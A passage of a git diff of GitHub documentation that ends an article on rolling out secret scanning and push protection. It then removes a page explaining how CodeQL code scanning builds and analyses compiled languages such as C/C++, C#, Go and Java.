push protection - -Once you have enabled {% data variables.product.prodname_secret_scanning %}, you should also enable push protection. With push protection, {% data variables.product.prodname_secret_scanning %} checks pushes for supported secrets and blocks pushes to {% data variables.product.prodname_dotcom %} _before_ the secrets are exposed to other users. For information on how to enable push protection, see [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-push-protection-for-your-repository). - -Once enabled, you can do the following: - -1. **Provide guidance:** Configure a custom link in the message that contributors will see if their push is blocked by {% data variables.product.prodname_secret_scanning %}. The linked resource can provide guidance for contributors on how to resolve the blocked push. For more information, see [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-push-protection-for-your-repository). - -1. **Notify:** Define a webhook that specifically tracks {% data variables.secret-scanning.alerts %} created when someone bypasses push protection by using the alert property `"push_protection_bypassed": true`. Or, use the API to get updates on which {% data variables.secret-scanning.alerts %} were the result of a push protection bypass by filtering the list of results for `"push_protection_bypassed": true`. For more information, see [AUTOTITLE](/code-security/getting-started/auditing-security-alerts). - -1. **Monitor:** Use security overview to view metrics on how push protection is performing in repositories across your organization, so you can quickly identify any repositories where you might need to take action. For more information, see [AUTOTITLE](/enterprise-cloud@latest/code-security/security-overview/viewing-metrics-for-secret-scanning-push-protection). - -## 3. Remediate previously committed secrets, starting with the most critical - -After you have established a process to reduce the addition of secrets to your codebases, you are ready to start work remediating secrets that were committed before you introduced {% data variables.product.prodname_GHAS %}. - -How you define your most critical secrets will depend on your organization's processes and integrations. For example, a company likely isn’t worried about a Slack Incoming Webhook secret if they don’t use Slack. You may find it useful to start by focusing on the top five most critical credential types for your organization. - -Once you have decided on the secret types, you can do the following: - -1. Define a process for remediating each type of secret. The actual procedure for each secret type is often drastically different. Write down the process for each type of secret in a document or internal knowledge base. - - > [!NOTE] - > When you create the process for revoking secrets, try and give the responsibility for revoking secrets to the team maintaining the repository instead of a central team. One of the principles of GHAS is developers taking ownership of security and having the responsibility of fixing security issues, especially if they have created them. - -1. When you have created the process that teams will follow for revoking credentials, you can collate information about the types of secrets and other metadata associated with the leaked secrets so you can discern who to communicate the new process to. - - You can use security overview to collect this information. For more information about using security overview, see [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview). - - Some information you may want to collect includes: - - * Organization - * Repository - * Secret type - * Secret value - * Maintainers on repository to contact - - > [!NOTE] - > Use the UI if you have few secrets leaked of that type. If you have hundreds of leaked secrets, use the API to collect information. For more information, see [AUTOTITLE](/rest/secret-scanning). - -1. After you collect information about leaked secrets, create a targeted communication plan for the users who maintain the repositories affected by each secret type. You could use email, messaging, or even create GitHub issues in the affected repositories. If you can use APIs provided by these tools to send out the communications in an automated manner, this will make it easier for you to scale across multiple secret types. - -## 4. Expand the program to include more secret types and custom patterns - -You can now expand beyond the five most critical secret types into a more comprehensive list, with an additional focus on education. You can repeat the previous step, remediating previously committed secrets, for the different secret types you have targeted. - -You can also include more of the custom patterns collated in the earlier phases and invite security teams and developer teams to submit more patterns, establishing a process for submitting new patterns as new secret types are created. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). - -As you continue to build your remediation processes for other secret types, start to create proactive training material that can be shared with all developers of GitHub in your organization. Until this point, a lot of the focus has been reactive. It is an excellent idea to shift focus to being proactive and encourage developers not to push credentials to GitHub in the first place. This can be achieved in multiple ways but creating a short document explaining the risks and reasons would be a great place to start. - ->[!TIP] -> This is the final article of a series on adopting {% data variables.product.prodname_GHAS %} at scale. If you have questions or need support, see the section on {% data variables.contact.github_support %} and {% data variables.product.prodname_professional_services %} in [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale#github-support-and-professional-services). diff --git a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages.md b/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages.md deleted file mode 100644 index 30f3f1210d3e..000000000000 --- a/content/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages.md +++ /dev/null @@ -1,562 +0,0 @@ ---- -title: CodeQL code scanning for compiled languages -shortTitle: CodeQL for compiled languages -intro: 'Understand how {% data variables.product.prodname_codeql %} analyzes compiled languages, the build options available, and learn how you can customize the database generation process if you need to.' -permissions: '{% data reusables.permissions.code-scanning-all-alerts %} if [advanced setup](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning) is already enabled' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning-for-compiled-languages - - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-the-codeql-action-for-compiled-languages - - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-the-codeql-workflow-for-compiled-languages - - /code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages - - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/codeql-code-scanning-for-compiled-languages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Code Security - - Code scanning - - CodeQL - - Actions - - Repositories - - C/C++ - - C# - - Java - - Kotlin ---- - -{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} - -## About the {% data variables.code-scanning.codeql_workflow %} and compiled languages - -{% data variables.product.prodname_code_scanning_caps %} works by running queries against one or more {% data variables.product.prodname_codeql %} databases. Each database contains a representation of the code in a single language in your repository. For the compiled languages {% data variables.code-scanning.compiled_languages %}, the process of populating this database {% ifversion codeql-no-build %}often{% endif %} involves building the code and extracting data. - -{% ifversion codeql-no-build %} - -When you enable {% data variables.product.prodname_code_scanning %}, both default and advanced setup generate a {% data variables.product.prodname_codeql %} database for analysis using the simplest method available. For {% data variables.code-scanning.no_build_support %}, the {% data variables.product.prodname_codeql %} database is generated directly from the codebase without requiring a build (`none` build mode). For other compiled languages, {% data variables.product.prodname_codeql %} builds the codebase using the `autobuild` build mode. Alternatively, you can use the `manual` build mode to specify explicit build commands to analyze only the files that are built by these custom commands. - -{% elsif ghes %} - -If you enable default setup, the `autobuild` action will be used to build your code, as part of your automatically configured {% data variables.code-scanning.codeql_workflow %}. If you enable advanced setup, the basic {% data variables.code-scanning.codeql_workflow %} uses `autobuild`. Alternatively, you can disable `autobuild` and instead specify explicit build commands to analyze only the files that are built by these custom commands. - -{% else %} - -The basic {% data variables.code-scanning.codeql_workflow %} uses the `autobuild` action to build your code. Alternatively, you can disable `autobuild` and instead specify explicit build commands to analyze only the files that are built by these custom commands. - -{% endif %} - -{% ifversion codeql-dependency-caching %} - -You can use dependency caching with {% data variables.product.prodname_codeql %} to store dependencies as a {% data variables.product.prodname_actions %} cache instead of downloading them from registries. For more information, see [About dependency caching for {% data variables.product.prodname_codeql %}](#about-dependency-caching-for-codeql) later in this article. - -{% endif %} - -{% ifversion codeql-no-build %} - -## {% data variables.product.prodname_codeql %} build modes - -The {% data variables.product.prodname_codeql %} action supports three different build modes for compiled languages: - -* `none` - the {% data variables.product.prodname_codeql %} database is created directly from the codebase without building the codebase (supported for all interpreted languages, and additionally supported for {% data variables.code-scanning.no_build_support %}). -* `autobuild` - {% data variables.product.prodname_codeql %} detects the most likely build method and uses this to attempt to build the codebase and create a database for analysis (supported for all compiled languages). -* `manual` - you define the build steps to use for the codebase in the workflow (supported for all compiled languages). - -### Comparison of the build modes - -{% rowheaders %} - -| Build mode characteristic | None | Autobuild | Manual | -|---------------------------|-------------|-----------|--------| -| Used by default setup and for organization-level enablement | Yes ({% data variables.code-scanning.no_build_support %}) | Yes, where `none` is not supported | No | -| Analysis succeeds without user configuration | Yes | Variable | No | -| Completeness of analysis | Generated code not analyzed | Variable | User controlled | -| Accuracy of analysis | Good | Good | Best | - -{% endrowheaders %} - -### Recommendations - -When you are setting up {% data variables.product.prodname_code_scanning %} for the first time, or across multiple repositories, it's best to use default setup. Default setup uses the simplest method available to generate a {% data variables.product.prodname_codeql %} database and analyze your code, so that you can start fixing alerts as soon as possible. Once you have resolved the initial alerts, you may want to switch to advanced setup with a manual build process for high risk repositories. - -### Using multiple build modes in a multi-language repository - -For repositories with multiple compiled languages, you can use different build modes for different languages. For example, if your repository contains C/C++, C# and Java, you might want to provide manual build steps for one language (here C/C++). This workflow specifies a different build mode for each language. - -```yaml -strategy: - matrix: - include: - # Analyzes C and C++ code using the commands in `Build C and C++ code` - - language: c-cpp - build-mode: manual - # Analyzes C# code by automatically detecting a build - - language: csharp - build-mode: autobuild - # Analyzes Java code directly from the codebase without a build - - language: java-kotlin - build-mode: none # analyzes Java only -steps: -- name: Checkout repository - uses: {% data reusables.actions.action-checkout %} - -# Initializes CodeQL tools and creates a codebase for analysis. -- name: Initialize CodeQL - uses: {% data reusables.actions.action-codeql-action-init %} - with: - languages: {% raw %}${{ matrix.language }}{% endraw %} -- if: {% raw %}${{ matrix.build-mode == 'manual' }}{% endraw %} - name: Build C and C++ code - run: | - echo 'If you are using a "manual" build mode for one or more of the' \ - 'languages you are analyzing, replace this with the commands to build' \ - 'your code, for example:' - echo ' make bootstrap' - echo ' make release' - exit 1 -``` - -{% endif %} - -For information about the languages, libraries, and frameworks that are supported in the latest version of {% data variables.product.prodname_codeql %}, see [Supported languages and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks) in the {% data variables.product.prodname_codeql %} documentation. For information about the system requirements for running the latest version of {% data variables.product.prodname_codeql %}, see [System requirements](https://codeql.github.com/docs/codeql-overview/system-requirements/#additional-software-requirements) in the {% data variables.product.prodname_codeql %} documentation. - -{% ifversion codeql-dependency-caching %} - -## About dependency caching for {% data variables.product.prodname_codeql %} - -You can use dependency caching with {% data variables.product.prodname_codeql %} to store dependencies as a {% data variables.product.prodname_actions %} cache instead of downloading them from registries. This reduces the risk of losing alerts when third party registries don't work well, and may result in a performance improvement for projects that have a large number of dependencies or work with slow registries. To read more about how caching dependencies can speed up workflows, see [AUTOTITLE](/actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows). - -Dependency caching works with all build modes, and is supported by {% data variables.code-scanning.codeql_dependency_caching_languages %}. - ->[!NOTE] -> Using dependency caching will store {% data variables.product.prodname_codeql %}-specific caches that will be subject to cache quotas for a repository. See [AUTOTITLE](/actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows#usage-limits-and-eviction-policy). - -### Enabling dependency caching for {% data variables.product.prodname_codeql %} - -For default setup workflows, dependency caching is enabled by default for {% data variables.product.github %}-hosted runners in public and private repositories. - -For advanced setup workflows, dependency caching is disabled by default. To enable dependency caching for {% data variables.product.prodname_codeql %}, use the `dependency-caching` setting for the {% data variables.product.prodname_codeql %} action in your advanced setup workflow. This setting accepts the following values: - -* `false`/`none`/`off`: Dependency caching is disabled (default) -* `restore`: Only restore existing caches, do not store new caches -* `store`: Only store new caches, do not restore existing caches -* `true`/`full`/`on`: Restore existing caches, and store new caches - -For example, the following settings would enable dependency caching for the {% data variables.product.prodname_codeql %} action: - -```yaml - # Initializes CodeQL with dependency caching enabled - - name: Initialize CodeQL - uses: {% data reusables.actions.action-codeql-action-init %} - with: - languages: java - dependency-caching: true -``` - -{% endif %} - -{% ifversion codeql-no-build %} - -## About build mode None for {% data variables.product.prodname_codeql %} - -For {% data variables.code-scanning.no_build_support %}, {% data variables.product.prodname_codeql %} creates a database without requiring a build when you enable default setup for {% data variables.product.prodname_code_scanning %} unless the repository also includes Kotlin code. If a repository contains Kotlin code in addition to Java code, default setup is enabled with the autobuild process because Kotlin analysis requires a build. - -Creating a {% data variables.product.prodname_codeql %} database without a build may produce less accurate results than using `autobuild` or manual build steps if: - -* The build scripts cannot be queried for dependency information, and dependency guesses are inaccurate. -* The repository normally generates code during the build process. - -To use `autobuild` or manual build steps, you can use advanced setup. - ->[!NOTE] For Java analysis, if `build-mode` is set to `none` and Kotlin code is found in the repository, the Kotlin code will not be analyzed and a warning will be produced. See [Building Java and Kotlin](#building-java-and-kotlin). - -{% endif %} - -## About Autobuild for {% data variables.product.prodname_codeql %} - -The {% data variables.product.prodname_codeql %} action uses `autobuild` to analyze compiled languages in the following cases. - -* Default setup is enabled{% ifversion codeql-no-build %} and the language does not support `none` build (supported for {% data variables.code-scanning.no_build_support %}). -* Advanced setup is enabled and the workflow specifies `build-mode: autobuild`{% endif %}. -* Advanced setup is enabled and the workflow has an Autobuild step for the language using the `autobuild` action (`{% data reusables.actions.action-codeql-action-autobuild %}`). - -{% ifversion codeql-no-build %} - -### Example using the `build-mode` option - -```yaml -# Initializes the CodeQL tools for scanning. -name: Analyze -strategy: - matrix: - include: - # Analyze C and C++ code - - language: c-cpp - build-mode: autobuild - # Analyze Go code - - language: go - build-mode: autobuild - -steps: - - uses: {% data reusables.actions.action-codeql-action-init %} - with: - languages: {% raw %}${{ matrix.language }}{% endraw %} - build-mode: {% raw %}${{ matrix.build-mode }}{% endraw %} -``` - -### Example using the Autobuild step - -{% elsif ghes < 3.14 %} - -The basic {% data variables.code-scanning.codeql_workflow %} uses the `autobuild` action to build your code. - -{% endif %} - -```yaml - # Initializes the CodeQL tools for scanning. - - name: Initialize CodeQL - uses: {% data reusables.actions.action-codeql-action-init %} - with: - languages: {% raw %}${{ matrix.language }}{% endraw %} - - - name: Autobuild - uses: {% data reusables.actions.action-codeql-action-autobuild %} -``` - -## About specifying build steps manually - -You can only specify manual build steps if you have enabled advanced setup, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-advanced-setup-for-a-repository). - -{% data reusables.code-scanning.autobuild-add-build-steps %} For information on how to edit the workflow file, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#editing-a-code-scanning-workflow). - -{% ifversion codeql-no-build %} -Update your workflow to define the `build-mode` as `manual`. - -```yaml -# Initializes the CodeQL tools for scanning. -- name: Initialize CodeQL -- uses: {% data reusables.actions.action-codeql-action-init %} - with: - languages: {% raw %}${{ matrix.language }}{% endraw %} - build-mode: manual -- uses: {% data reusables.actions.action-codeql-action-analyze %} - with: - category: {% raw %}"/language:${{ matrix.language }}"{% endraw %} -``` - -Alternatively, update your workflow to comment out the "Autobuild" step. - -{% endif %} - -```yaml - # Autobuild attempts to build any compiled languages. - # - name: Autobuild - # uses: {% data reusables.actions.action-codeql-action-autobuild %} -``` - -### Specifying build commands - -When manual building is enabled, uncomment the `run` step in the workflow and add build commands that are suitable for your repository. The `run` step runs command-line programs using the operating system's shell. You can modify these commands and add more commands to customize the build process. - -``` yaml -- run: | - make bootstrap - make release -``` - -For more information about the `run` keyword, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun). - -{% ifversion codeql-no-build %}<!-- For "no-build" this is covered earlier in the article under "About CodeQL build modes". --> -{% elsif ghes %} - -### Specifying build commands for multiple languages - -For repositories with multiple compiled languages, you can specify language-specific build commands. For example, if your repository contains C/C++, C# and Java, you might want to provide manual build steps for one language (here Java). This specifies build steps for Java while still using `autobuild` for C/C++ and C#. - -```yaml -- if: matrix.language == 'c-cpp' || matrix.language == 'csharp' - name: Autobuild - uses: {% data reusables.actions.action-codeql-action-autobuild %} -- if: matrix.language == 'java-kotlin' - name: Build Java - run: | - make bootstrap - make release -``` - -For more information about the `if` conditional, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsif). -{% endif %} - -If you added manual build steps for compiled languages and {% data variables.product.prodname_code_scanning %} is still not working on your repository, contact {% data variables.contact.contact_support %}. - -## Autobuild steps for compiled languages - -{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}-hosted runners are always run with the software required by `autobuild`.{% endif %} If you use self-hosted runners for {% data variables.product.prodname_actions %}, you may need to install additional software to use the `autobuild` process. Additionally, if your repository requires a specific version of a build tool, you may need to install it manually. {% ifversion ghes or default-setup-self-hosted-runners-GHEC %} For self-hosted runners, you should install dependencies directly in the runners themselves. We provide examples of common dependencies for C/C++, C#, and Java in each of the `autobuild` sections of this article for those languages. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners).{% endif %} - -* [Building C/C++](#building-cc) -* [Building C#](#building-c) -* [Building Go](#building-go) -* [Building Java and Kotlin](#building-java-and-kotlin) -* [Building Swift](#building-swift) - -> [!NOTE] -> If your workflow uses a `language` matrix, `autobuild` attempts to build each of the compiled languages listed in the matrix. Without a matrix `autobuild` attempts to build the supported compiled language that has the most source files in the repository. With the exception of Go, analysis of other compiled languages in your repository will fail unless you supply explicit build commands. - -## Building C/C++ - -{% ifversion codeql-no-build %}{% data variables.product.prodname_codeql %} supports build modes `autobuild` or `manual` for C/C++ code. - -### Autobuild summary for C/C++{% endif %} - -| Supported system type | System name | -|----|----| -| Operating system | Windows, macOS, and Linux | -| Build system | Windows: MSbuild and build scripts<br/>Linux and macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild, and build scripts | - -The behavior of the `autobuild` step varies according to the operating system that the extraction runs on. - -### Windows autodetection - -On Windows, the `autobuild` step attempts to autodetect a suitable build method for C/C++ using the following approach: - -1. Invoke `MSBuild.exe` on the solution (`.sln`) or project (`.vcxproj`) file closest to the root. -If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them. -1. Invoke a script that looks like a build script—_build.bat_, _build.cmd_, _and build.exe_ (in that order). - -### Linux and macOS autodetection - -On Linux and macOS, the `autobuild` step reviews the files present in the repository to determine the build system used: - -1. Look for a build system in the root directory. -1. If none are found, search subdirectories for a unique directory with a build system for C/C++. -1. Run an appropriate command to configure the system. - -#### Runner requirements for C/C++ - -On Ubuntu Linux runners, `autobuild` may try to automatically install dependencies required by the detected configuration and build steps. By default, this behavior is enabled on {% data variables.product.prodname_dotcom %}-hosted runners and disabled on self-hosted runners. You can enable or disable this feature explicitly by setting `CODEQL_EXTRACTOR_CPP_AUTOINSTALL_DEPENDENCIES` to `true` or `false` in the environment. For more information about defining environment variables, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-environment-variables-for-a-single-workflow). - -For self-hosted runners, unless automatic installation of dependencies is enabled, you will likely need to install the `gcc` compiler, and specific projects may also require access to `clang` or `msvc` executables. You will also need to install the build system (for example `msbuild`, `make`, `cmake`, `bazel`) and utilities (such as `python`, `perl`, `lex`, and `yacc`) that your projects depend on. -If you enable automatic installation of dependencies, you must ensure that the runner is using Ubuntu and that it can run `sudo apt-get` without requiring a password. - -Windows runners require `powershell.exe` to be on the `PATH`. - -## Building C# - -{% ifversion codeql-no-build %}{% data variables.product.prodname_codeql %} supports build modes {% ifversion codeql-no-build-csharp %}`none`, {% endif %}`autobuild` or `manual` for C# code.{% endif %} - -{% ifversion codeql-no-build-csharp %} - -When you enable default setup for a repository that contains C# code, the build mode is set to `none` automatically. - -### No build for C# - -{% data variables.product.prodname_codeql %} restores dependencies and generates a few additional source files, to give more accurate results, before creating a database from all the source files and dependencies. - -Dependencies are restored using multiple heuristics and strategies. The following files are the primary source of information: `*.csproj`, `*.sln`, `nuget.config`, `packages.config`, `global.json`, and `project.assets.json`. {% ifversion org-private-registry %}If a private NuGet feed is defined for the organization, this is also used, see [Code scanning default setup access to private registries](/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries#code-scanning-default-setup-access-to-private-registries) and [Determining whether code scanning default setup used any private registries](/code-security/code-scanning/managing-your-code-scanning-configuration/viewing-code-scanning-logs#determining-whether-code-scanning-default-setup-used-any-private-registries).{% endif %} - -The following generated source files are optional, but significantly increase the correctness of the {% data variables.product.prodname_codeql %} database: - -* `global` generated `using` directives to handle the implicit `using` feature of MSbuild. -* ASP.NET core view files, `.cshtml` files are converted to `.cs` files. - -The information from the dependency assembly names, generated source files, {% ifversion org-private-registry %}dependencies stored in private feeds, {% endif %}and the source files in the repository is compiled and used to create a {% data variables.product.prodname_codeql %} database. - -#### Accuracy of no build analysis for C# - -Creating a {% data variables.product.prodname_codeql %} database without building the full code relies on being able to restore dependencies and being able to compile together the source files in the repository. When there are problems restoring dependencies or compiling the source code, this can affect the accuracy of the {% data variables.product.prodname_codeql %} database and {% data variables.product.prodname_code_scanning %} analysis results. - -You can ensure a more accurate analysis by taking the following steps: - -* Provide access to the public internet or ensure that access to a private NuGet feed is available{% ifversion org-private-registry %}, see [Code scanning default setup access to private registries](/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries#code-scanning-default-setup-access-to-private-registries){% endif %}. -* Check whether the repository requires multiple versions of the same NuGet dependency. {% data variables.product.prodname_codeql %} can use only one version and usually chooses the newer version where there are multiple versions. This approach may not work for all repositories. -* Check whether multiple versions of .NET are referenced, for example, `net48`, `net5.0`, and `netstandard1.6`. {% data variables.product.prodname_codeql %} can use only one version and this may affect accuracy. -* Avoid colliding class names, otherwise this may cause missing method call targets, which has an impact on dataflow analysis. - -### Autobuild summary for C#{% endif %} - -| Supported system type | System name | -|----|----| -| Operating system | Windows, macOS, and Linux | -| Build system | .NET and MSbuild, as well as build scripts | - -#### Windows autodetection - -The `autobuild` process attempts to autodetect a suitable build method for C# using the following approach: - -1. Invoke `dotnet build` on the solution (`.sln`) or project (`.csproj`) file closest to the root. -1. Invoke `MSBuild.exe` on the solution or project file closest to the root. -If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them. -1. Invoke a script that looks like a build script—`build.bat`, `build.cmd`, and `build.exe` (in that order). - -#### Runner requirements for C# on Windows - -For .NET Core application development on self-hosted runners, the .NET SDK is required (for `dotnet`). - -For .NET Framework application development, you will need Microsoft Build Tools (for `msbuild`) and NuGet CLI (for `nuget`). - -Windows runners require `powershell.exe` to be on the `PATH`. - -{% ifversion codeql-no-build-csharp %} - -If you plan to create {% data variables.product.prodname_codeql %} databases using `build-mode: none`, you also need to provide access to the public internet, or you must ensure that access to a private NuGet feed is available. - -{% endif %} - -#### Linux and macOS autodetection - -1. Invoke `dotnet build` on the solution (`.sln`) or project (`.csproj`) file closest to the root. -1. Invoke `MSbuild` on the solution or project file closest to the root. -If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them. -1. Invoke a script that looks like a build script—`build` and `build.sh` (in that order). - -#### Runner requirements for C# on Linux and macOS - -For .NET Core application development on self-hosted runners, the .NET SDK is required (for `dotnet`). - -For .NET Framework application development, you will require Mono Runtime (to run `mono`, `msbuild`, or `nuget`). - -{% ifversion codeql-no-build-csharp %} - -If you plan to create {% data variables.product.prodname_codeql %} databases using `build-mode: none`, you also need to provide access to the public internet, or you must ensure that access to a private NuGet feed is available. - -{% endif %} - -### C# compiler flags injected by {% data variables.product.prodname_codeql %} for manual builds - -The {% data variables.product.prodname_codeql %} tracer enables the extraction of all compiled languages by intercepting build processes and forwarding information to the relevant {% data variables.product.prodname_codeql %} language extractors. The tracer injects certain flags into the C# compiler invocation to ensure every component is built and included in the {% data variables.product.prodname_codeql %} database, which may cause your C# code to build in a different way to what you expect during {% data variables.product.prodname_codeql %} analysis. - -#### `/p:MvcBuildViews=true` - -When this option is set to `true`, the views in ASP.NET model-view-controller (MVC) projects are precompiled as part of the build process, which can help to catch errors and improve performance. The tracer injects this flag to make sure {% data variables.product.prodname_codeql %} finds and highlights security issues that may involve dataflow through the code generated from these views. For more information, see [Adding a View to an MVC Application](https://learn.microsoft.com/en-us/aspnet/mvc/overview/getting-started/introduction/adding-a-view) in Microsoft Learn. - -#### `/p:UseSharedCompilation=false` - -Setting this option to `false` disables the use of the shared compilation feature, which may result in slower build times. When `/p:UseSharedCompilation=false` is **not** specified, `msbuild` starts a compiler server process, and all the compilation will be done by that single process. However, the {% data variables.product.prodname_codeql %} tracer depends on inspecting the arguments of newly created processes. - -#### `/p:EmitCompilerGeneratedFiles=true` - -Setting this option to `true` will emit compiler-generated files during the build process. This option causes the compiler to generate additional source files that are used to support features such as improved regular expression support, serialization, and web application view generation. These generated artifacts are typically not written to disk by the compiler, but setting the option to `true` forces writing the files to disk, and so the extractor can process the files. - -For some legacy projects, and projects that use `.sqlproj` files, you may see that the injected `/p:EmitCompilerGeneratedFiles=true` property causes unexpected issues with `msbuild`. For information about troubleshooting this, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/c-sharp-compiler-unexpectedly-failing). - -## Building Go - -{% ifversion codeql-no-build %}{% data variables.product.prodname_codeql %} supports build modes `autobuild` or `manual` for Go code. - -### Autobuild summary for Go{% endif %} - -| Supported system type | System name | -|----|----| -| Operating system | Windows, macOS, and Linux | -| Build system | Go modules, `dep` and Glide, as well as build scripts including Makefiles and Ninja scripts | - -### Autodetection for Go - -The `autobuild` process attempts to autodetect a suitable way to install the dependencies needed by a Go repository before extracting all `.go` files: - -1. Invoke `make`, `ninja`, `./build` or `./build.sh` (in that order) until one of these commands succeeds and a subsequent `go list ./...` also succeeds, indicating that the needed dependencies have been installed. -1. If none of those commands succeeded, look for `go.mod`, `Gopkg.toml` or `glide.yaml`, and run `go get` (unless vendoring is in use), `dep ensure -v` or `glide install` respectively to try to install dependencies. -1. Finally, if configurations files for these dependency managers are not found, rearrange the repository directory structure suitable for addition to `GOPATH`, and use `go get` to install dependencies. The directory structure reverts to normal after extraction completes. -1. Extract all Go code in the repository, similar to running `go build ./...`. - -> [!NOTE] -> If you use default setup, it will look for a `go.mod` file to automatically install a compatible version of the Go language.{% ifversion ghes %} If you're using a self-hosted runner with default setup that doesn't have internet access, you can manually install a compatible version of Go.{% endif %} - -### Extractor options for Go - -By default, test code (code in files ending in `_test.go`) is not analyzed. You can override this with the option `--extractor-option extract_tests=true` when using the {% data variables.product.prodname_codeql_cli %}, or by setting the environment variable `CODEQL_EXTRACTOR_GO_OPTION_EXTRACT_TESTS` to `true`. - -Additionally, `vendor` directories are excluded from {% data variables.product.prodname_codeql %} Go analysis by default. You can override this by passing the `--extractor-option extract_vendor_dirs=true` option when using the {% data variables.product.prodname_codeql_cli %}, or by setting the environment variable `CODEQL_EXTRACTOR_GO_OPTION_EXTRACT_VENDOR_DIRS` to `true`. - -## Building Java and Kotlin - -{% ifversion codeql-no-build %}{% data variables.product.prodname_codeql %} supports the following build modes. - -* Java: `none`, `autobuild`, or `manual` -* Kotlin: `autobuild` or `manual` - -When you first enable default setup for a repository, if only Java code is detected then the build mode is set to `none`. If Kotlin or a combination of Java and Kotlin code is detected, then the build mode is set to `autobuild`. - -If you later add Kotlin code to a repository that uses the `none` build mode, {% data variables.product.prodname_codeql %} analysis reports a warning message explaining that Kotlin is not supported. You will need to disable default setup and re-enable it. When you re-enable default setup, the build mode will change to `autobuild` so that both languages can be analyzed. Alternatively, you can change to an advanced setup. For more information, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/kotlin-detected-in-no-build). - -### No build for Java - -{% data variables.product.prodname_codeql %} will attempt to run Gradle or Maven to extract accurate dependency information (but not to invoke a build), before creating a database from all Java files present. Every root Maven or Gradle project file (a build script without any build script present in an ancestor directory) is queried for dependency information, and more recent dependency versions are preferred if there is a clash. For information about the runner requirements to run Maven or Gradle, see [Runner requirements for Java](#runner-requirements-for-java). - - {% ifversion org-private-registry %}If a private Maven registry is defined for the organization, this is also used, see [Code scanning default setup access to private registries](/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries#code-scanning-default-setup-access-to-private-registries) and [Determining whether code scanning default setup used any private registries](/code-security/code-scanning/managing-your-code-scanning-configuration/viewing-code-scanning-logs#determining-whether-code-scanning-default-setup-used-any-private-registries).{% endif %} - -#### Accuracy of no build analysis for Java - -Creating a {% data variables.product.prodname_codeql %} Java database without a build may produce less accurate results than using `autobuild` or manual build steps if: - -* Gradle or Maven build scripts cannot be queried for dependency information, and dependency guesses (based on Java package names) are inaccurate. -* The repository normally generates code during the build process. This would be analyzed if you created the {% data variables.product.prodname_codeql %} database using a different mode. - -You can ensure a more accurate analysis by taking the following steps: - -* Provide access to the public internet or ensure that access to a private artifact repository is available{% ifversion org-private-registry %}, see [Code scanning default setup access to private registries](/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries#code-scanning-default-setup-access-to-private-registries){% endif %}. -* Check whether the repository requires multiple versions of the same dependency. {% data variables.product.prodname_codeql %} can use only one version and usually chooses the newer version where there are multiple versions. This approach may not work for all repositories. -* Check whether more than one version of the JDK API is required by different source Java files. When multiple versions are seen, {% data variables.product.prodname_codeql %} will use the highest version required by any build script. This may mean that some files that require a lower version of the JDK will be partially analyzed. For example, if some files require JDK 8 but a JDK 17 requirement is found in one or more build scripts, {% data variables.product.prodname_codeql %} will use JDK 17. Any files that require JDK 8 and could not be built using JDK 17 will be partially analyzed. -* Avoid colliding class names (for example, multiple files defining `org.myproject.Test`), otherwise this may cause missing method call targets, which has an impact on dataflow analysis. - -### Autobuild summary for Java{% endif %} - -| Supported system type | System name | -|----|----| -| Operating system | Windows, macOS, and Linux (no restriction) | -| Build system | Gradle, Maven and Ant | - -### Autodetection for Java - -The `autobuild` process tries to determine the build system for Java codebases by applying this strategy: - -1. Search for a build file in the root directory. Check for Gradle then Maven then Ant build files. -1. Run the first build file found. If both 